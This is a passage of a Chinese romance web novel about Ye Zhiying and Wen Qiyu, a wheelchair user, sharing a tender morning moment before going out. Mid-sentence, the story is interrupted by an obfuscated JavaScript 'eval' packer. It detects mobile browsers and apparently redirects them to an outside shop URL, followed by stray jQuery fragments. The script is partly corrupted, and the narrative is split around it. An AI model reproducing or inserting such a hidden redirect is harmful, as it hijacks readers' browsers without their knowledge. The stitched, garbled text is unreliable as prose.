出去还要坐好久,现在就不要浪费体力了。”她怕他坐太久撑不住,便如此提议。
他却笑着摇头:“我有分寸,你不必担心我,快吃饭吧!”
说完,他的目光又落在了自己的腰上。她这才发现,他的腰上绑着一条和衣服颜色差不多的带子,带子两端穿过一个玉做的腰扣,腰扣摆在身体正前方,而长出来的带子则自然垂下,不仔细看还以为是一条正常的腰带。这条带子将他的身体和轮椅靠背绑在一起,将他的上半身固定在靠背上。
她顿时心生怜惜和同情。等反应过来时,轮椅上的人已将她刚才的同情尽收眼底。她懊恼不已,他如今恢复成这样已经比之前强很多了,难得他没有自暴自弃,还饶有兴致要陪自己逛街,自己实在不该如此表情扫了他的兴。
果然,他皱起了眉头,低头看了眼自己的身体,叶之萤心里“咯噔”一下。
“怎么?莫不是这绦带的颜色与衣裳不相配?”他出乎意料地笑了起来。
清晨的日光是温柔且舒适的,此时,正慷慨地从窗户洒进来,将二人皆罩在金色的晨曦中。
正如叶之萤面前那个同晨光一般温暖的人,在她人生最寒冷、最孤独的时刻,为她带来了一束温暖的光亮!
她很想对他说一声谢谢,但又觉得仅仅一句“谢谢”远远无法表达她对他的感情。最终,她冲他灿然一笑,一片星河霎时在她的眼底荡漾。
温其玉的大脑瞬间一片空白,时间仿佛在这一刻静止了,这张笑脸霸道地闯进了他的脑海,并在里面迅速膨胀,挤走了他脑中其他的一切,除了她,他已经不能再想到任何事物了。
偌大的世界都不存在了,他的眼、他的耳、他的心,全都被她霸占,除了眼前的叶之萤,他什么也看不到,什么也听不到。她占据了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16991662|193740||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
的整个世界!
他头一次如此放肆而赤裸地盯着某个人看,但这还不够,他甚至希望时间能永远在这一刻静止下来,这样,他就可以不顾一切永远将这张脸……
叶之萤之前从没在温其玉的眼里看到过这样含情脉脉的眼神。没错,就是含情脉脉——如果她没理解错的话。他的眼神向来正派,此时却不可思议地透出一种情欲,那是一种被深深吸引后放弃抵抗、甘愿沦陷的情欲。
看到这样的眼神,叶之萤第一反应竟然是兴奋、是欣喜若狂,她被自己的反应吓了一跳。
叶之萤,你疯了吧!别人多看你两眼就是喜欢你?
她轻晃了两下脑袋,叫醒了自己,又咳了两下,试图让对面的人也清醒过来,而后拘谨地走到桌边坐下,回到了刚才的主题:“我敢肯定这颜色不是阿力选的。”
温其玉大脑依旧一片空白,他早就不记得刚才二人说过什么了,努力回忆了一会儿,才反应过来叶之萤在说什么,这才假装淡定地接话:“哦?为何如此肯定?”
叶之萤指着自己身上的红衣蓝裙,撇了撇嘴,笑道:“因为这才是他的审美啊!”
说完,二人都笑了,刚才的事似乎就这样不着痕迹地翻篇了。
“咦,这是?”桌上放着一根用五色线编成的绳子和一只绿色的香包,端午节有带五色绳的习俗,虽然她以前从来没戴过,但是这个习俗她